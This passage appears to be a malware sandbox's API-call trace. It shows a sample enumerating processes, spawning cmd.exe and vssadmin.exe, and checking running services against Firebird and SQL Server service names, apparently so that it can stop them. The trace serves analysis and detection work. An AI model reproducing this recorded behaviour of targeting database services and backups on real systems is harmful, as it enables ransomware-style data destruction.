th32ProcessID=0x3a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x2cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0046.079] lstrlenW (lpString="audiodg.exe") returned 11 [0046.080] Process32NextW (in: hSnapshot=0x19c, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0046.080] lstrlenW (lpString="svchost.exe") returned 11 [0046.080] Process32NextW (in: hSnapshot=0x19c, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x124, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0046.080] lstrlenW (lpString="svchost.exe") returned 11 [0046.080] Process32NextW (in: hSnapshot=0x19c, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x448, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x334, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0046.081] lstrlenW (lpString="dwm.exe") returned 7 [0046.081] Process32NextW (in: hSnapshot=0x19c, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x45c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x20, th32ParentProcessID=0x440, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0046.081] lstrlenW (lpString="explorer.exe") returned 12 [0046.081] Process32NextW (in: hSnapshot=0x19c, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x480, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0046.082] lstrlenW (lpString="spoolsv.exe") returned 11 [0046.082] Process32NextW (in: hSnapshot=0x19c, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0046.082] lstrlenW (lpString="taskhost.exe") returned 12 [0046.082] Process32NextW (in: hSnapshot=0x19c, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0046.082] lstrlenW (lpString="svchost.exe") returned 11 [0046.082] Process32NextW (in: hSnapshot=0x19c, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x50c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x36c, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskeng.exe")) returned 1 [0046.083] lstrlenW (lpString="taskeng.exe") returned 11 [0046.083] Process32NextW (in: hSnapshot=0x19c, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1cc, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0046.083] lstrlenW (lpString="taskhost.exe") returned 12 [0046.083] Process32NextW (in: hSnapshot=0x19c, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="poland_holmes_bryant.exe")) returned 1 [0046.083] lstrlenW (lpString="poland_holmes_bryant.exe") returned 24 [0046.083] Process32NextW (in: hSnapshot=0x19c, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="explicit-much-possibilities.exe")) returned 1 [0046.084] lstrlenW (lpString="explicit-much-possibilities.exe") returned 31 [0046.084] Process32NextW (in: hSnapshot=0x19c, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="frankfurtextensivewv.exe")) returned 1 [0046.084] lstrlenW (lpString="frankfurtextensivewv.exe") returned 24 [0046.084] Process32NextW (in: hSnapshot=0x19c, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x618, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="dramatic-idle.exe")) returned 1 [0046.085] lstrlenW (lpString="dramatic-idle.exe") returned 17 [0046.085] Process32NextW (in: hSnapshot=0x19c, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x344, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="britannicaconsultdemocracy.exe")) returned 1 [0046.085] lstrlenW (lpString="britannicaconsultdemocracy.exe") returned 30 [0046.085] Process32NextW (in: hSnapshot=0x19c, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="ecagreedreceipt.exe")) returned 1 [0046.085] lstrlenW (lpString="ecagreedreceipt.exe") returned 19 [0046.085] Process32NextW (in: hSnapshot=0x19c, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x204, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="toyota.exe")) returned 1 [0046.086] lstrlenW (lpString="toyota.exe") returned 10 [0046.086] Process32NextW (in: hSnapshot=0x19c, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x714, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="radiation.exe")) returned 1 [0046.086] lstrlenW (lpString="radiation.exe") returned 13 [0046.086] Process32NextW (in: hSnapshot=0x19c, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x318, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="club-dividend-responses.exe")) returned 1 [0046.086] lstrlenW (lpString="club-dividend-responses.exe") returned 27 [0046.086] Process32NextW (in: hSnapshot=0x19c, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x774, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="ur illustration.exe")) returned 1 [0046.087] lstrlenW (lpString="ur illustration.exe") returned 19 [0046.087] Process32NextW (in: hSnapshot=0x19c, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="facing.exe")) returned 1 [0046.087] lstrlenW (lpString="facing.exe") returned 10 [0046.087] Process32NextW (in: hSnapshot=0x19c, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="freewarefrontpage.exe")) returned 1 [0046.087] lstrlenW (lpString="freewarefrontpage.exe") returned 21 [0046.087] Process32NextW (in: hSnapshot=0x19c, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x11c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="asking_pennsylvania.exe")) returned 1 [0046.088] lstrlenW (lpString="asking_pennsylvania.exe") returned 23 [0046.088] Process32NextW (in: hSnapshot=0x19c, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x320, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="headline.exe")) returned 1 [0046.088] lstrlenW (lpString="headline.exe") returned 12 [0046.088] Process32NextW (in: hSnapshot=0x19c, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="army_unsigned.exe")) returned 1 [0046.088] lstrlenW (lpString="army_unsigned.exe") returned 17 [0046.089] Process32NextW (in: hSnapshot=0x19c, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x494, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="disciplinedeborah.exe")) returned 1 [0046.089] lstrlenW (lpString="disciplinedeborah.exe") returned 21 [0046.089] Process32NextW (in: hSnapshot=0x19c, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x53c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="distribution-gif.exe")) returned 1 [0046.089] lstrlenW (lpString="distribution-gif.exe") returned 20 [0046.089] Process32NextW (in: hSnapshot=0x19c, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x440, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="tribunal.exe")) returned 1 [0046.090] lstrlenW (lpString="tribunal.exe") returned 12 [0046.090] Process32NextW (in: hSnapshot=0x19c, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="aafeof.exe")) returned 1 [0046.090] lstrlenW (lpString="aafeof.exe") returned 10 [0046.090] Process32NextW (in: hSnapshot=0x19c, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x664, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="sharpdollarsvocational.exe")) returned 1 [0046.090] lstrlenW (lpString="sharpdollarsvocational.exe") returned 26 [0046.090] Process32NextW (in: hSnapshot=0x19c, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x694, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="encryption.exe")) returned 1 [0046.091] lstrlenW (lpString="encryption.exe") returned 14 [0046.091] Process32NextW (in: hSnapshot=0x19c, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x648, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0046.091] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0046.091] Process32NextW (in: hSnapshot=0x19c, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0046.091] lstrlenW (lpString="dllhost.exe") returned 11 [0046.091] Process32NextW (in: hSnapshot=0x19c, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x92c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="1с_.exe")) returned 1 [0046.092] lstrlenW (lpString="1с_.exe") returned 7 [0046.092] Process32NextW (in: hSnapshot=0x19c, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x938, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x92c, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0046.092] lstrlenW (lpString="cmd.exe") returned 7 [0046.092] Process32NextW (in: hSnapshot=0x19c, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x954, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x188, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0046.092] lstrlenW (lpString="conhost.exe") returned 11 [0046.092] Process32NextW (in: hSnapshot=0x19c, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x99c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x938, pcPriClassBase=8, dwFlags=0x0, szExeFile="vssadmin.exe")) returned 1 [0046.093] lstrlenW (lpString="vssadmin.exe") returned 12 [0046.093] Process32NextW (in: hSnapshot=0x19c, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="VSSVC.exe")) returned 1 [0046.093] lstrlenW (lpString="VSSVC.exe") returned 9 [0046.093] Process32NextW (in: hSnapshot=0x19c, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="VSSVC.exe")) returned 0 [0046.093] CloseHandle (hObject=0x19c) returned 1 [0046.094] Sleep (dwMilliseconds=0x1f4) [0047.189] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x58fec0 [0047.190] EnumServicesStatusExW (in: hSCManager=0x58fec0, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x21fff44, lpServicesReturned=0x21fff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x21fff44, lpServicesReturned=0x21fff5c, lpResumeHandle=0x0) returned 0 [0047.190] GetLastError () returned 0xea [0047.190] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x123e) returned 0x60eb98 [0047.191] EnumServicesStatusExW (in: hSCManager=0x58fec0, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x60eb98, cbBufSize=0x123e, pcbBytesNeeded=0x21fff44, lpServicesReturned=0x21fff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x60eb98, pcbBytesNeeded=0x21fff44, lpServicesReturned=0x21fff5c, lpResumeHandle=0x0) returned 1 [0047.191] CloseServiceHandle (hSCObject=0x58fec0) returned 1 [0047.191] lstrlenW (lpString="Appinfo") returned 7 [0047.191] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0047.192] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0047.192] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0047.192] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0047.192] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0047.192] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0047.192] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0047.192] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0047.192] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0047.192] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0047.192] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0047.192] lstrlenW (lpString="AudioSrv") returned 8 [0047.192] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioSrv") returned 1 [0047.192] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioSrv") returned 1 [0047.192] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioSrv") returned 1 [0047.192] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioSrv") returned 1 [0047.192] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioSrv") returned 1 [0047.192] lstrlenW (lpString="BFE") returned 3 [0047.192] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0047.192] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0047.192] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0047.192] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0047.192] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0047.192] lstrlenW (lpString="CryptSvc") returned 8 [0047.192] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0047.192] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0047.192] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0047.192] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0047.192] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0047.192] lstrlenW (lpString="CscService") returned 10 [0047.192] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CscService") returned 1 [0047.192] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CscService") returned 1 [0047.193] lstrcmpiW (lpString1="sqlwriter", lpString2="CscService") returned 1 [0047.193] lstrcmpiW (lpString1="mssqlserver", lpString2="CscService") returned 1 [0047.193] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CscService") returned 1 [0047.193] lstrlenW (lpString="DcomLaunch") returned 10 [0047.193] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0047.193] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0047.193] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0047.193] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0047.193] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0047.193] lstrlenW (lpString="Dhcp") returned 4 [0047.193] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0047.193] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0047.193] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0047.193] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0047.193] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0047.193] lstrlenW (lpString="Dnscache") returned 8 [0047.193] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0047.193] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0047.193] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0047.193] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0047.193] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0047.193] lstrlenW (lpString="DPS") returned 3 [0047.193] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0047.193] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0047.193] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0047.193] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0047.193] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0047.193] lstrlenW (lpString="eventlog") returned 8 [0047.193] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="eventlog") returned 1 [0047.193] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="eventlog") returned 1 [0047.193] lstrcmpiW (lpString1="sqlwriter", lpString2="eventlog") returned 1 [0047.193] lstrcmpiW (lpString1="mssqlserver", lpString2="eventlog") returned 1 [0047.194] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="eventlog") returned 1 [0047.194] lstrlenW (lpString="EventSystem") returned 11 [0047.194] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0047.194] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0047.194] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0047.194] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0047.194] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0047.194] lstrlenW (lpString="gpsvc") returned 5 [0047.194] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0047.194] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0047.194] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0047.194] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0047.194] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0047.194] lstrlenW (lpString="iphlpsvc") returned 8 [0047.194] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0047.194] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0047.194] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0047.194] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0047.194] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0047.194] lstrlenW (lpString="LanmanServer") returned 12 [0047.194] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0047.194] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0047.194] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0047.194] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0047.194] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0047.194] lstrlenW (lpString="LanmanWorkstation") returned 17 [0047.194] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0047.194] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0047.194] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0047.194] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0047.195] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0047.195] lstrlenW (lpString="lmhosts") returned 7 [0047.195] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0047.195] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0047.195] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0047.195] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0047.195] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0047.195] lstrlenW (lpString="MMCSS") returned 5 [0047.195] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MMCSS") returned -1 [0047.195] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MMCSS") returned -1 [0047.195] lstrcmpiW (lpString1="sqlwriter", lpString2="MMCSS") returned 1 [0047.195] lstrcmpiW (lpString1="mssqlserver", lpString2="MMCSS") returned 1 [0047.195] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MMCSS") returned 1 [0047.195] lstrlenW (lpString="MpsSvc") returned 6 [0047.195] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0047.195] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0047.195] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0047.195] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0047.195] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0047.195] lstrlenW (lpString="Netman") returned 6 [0047.195] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Netman") returned -1 [0047.195] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Netman") returned -1 [0047.195] lstrcmpiW (lpString1="sqlwriter", lpString2="Netman") returned 1 [0047.195] lstrcmpiW (lpString1="mssqlserver", lpString2="Netman") returned -1 [0047.195] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Netman") returned 1 [0047.195] lstrlenW (lpString="netprofm") returned 8 [0047.195] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0047.195] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0047.195] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0047.195] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0047.195] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0047.195] lstrlenW (lpString="NlaSvc") returned 6 [0047.195] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0047.196] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0047.196] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0047.196] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0047.196] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0047.196] lstrlenW (lpString="nsi") returned 3 [0047.196] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0047.196] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0047.196] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0047.196] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0047.196] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 